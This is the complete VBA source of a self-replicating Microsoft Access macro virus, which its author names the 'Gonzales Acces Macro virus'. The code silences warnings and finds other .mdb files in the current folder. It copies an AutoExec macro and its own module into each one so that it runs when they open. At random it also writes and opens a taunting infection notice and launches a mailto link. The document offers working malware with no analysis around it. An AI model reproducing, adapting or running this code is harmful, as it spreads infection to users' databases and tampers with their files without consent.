Option Compare Database
Option Explicit
Function vir()
On Error Resume Next
Dim at, b, c, d As String
Dim check As Boolean
Call payload
DoCmd.SetWarnings(0)
check = False
c = CurDir & "\"
b = CurrentDb.Name
at = Dir(c & "*.mdb")
If at <> "" Then d = c & at
If b = d Then check = True
If check = False Then
	Application.DoCmd.TransferDatabase acExport, "Microsoft Access", d, acMacro, "AutoExec", "AutoExec"
	Application.DoCmd.TransferDatabase acExport, "Microsoft Access", d, acModule, "chika", "chika"
End If
Do
	check = False
	at = Dir()
	If at <> "" Then d = c & at
	If b = d Then check = True
	If check = False Then
		Application.DoCmd.TransferDatabase acExport, "Microsoft Access", d, acMacro, "AutoExec", "AutoExec"
		Application.DoCmd.TransferDatabase acExport, "Microsoft Access", d, acModule, "chika", "chika"
	End If
Loop While at <> ""
End Function

Sub payload()
Randomize
randnum = int(rnd * 8)
if randnum > 4 then
	for i = 1 to int(rnd * 4) + 1
		fname = chr(int(rnd * 22) + 97)
		aname = aname & fname
	next
	Open aname & ".txt" for output as #1
	? #1, "WARNING"
	? #1, "Your Computer has been infected with Gonzales Acces Macro virus"
	? #1, "This virus is made by me , My self, and I"
	? #1, "Just Clean it By your self"
	? #1, "Bye Bye :P"
	? #1, "Code by Puppy"
	Close #1
	shell aname & ".txt"
	Application.FollowHyperlink Address:= "mailto:psychologic@hotmail.com", NewWindow:= False, AddHistory:= True
End If
End Sub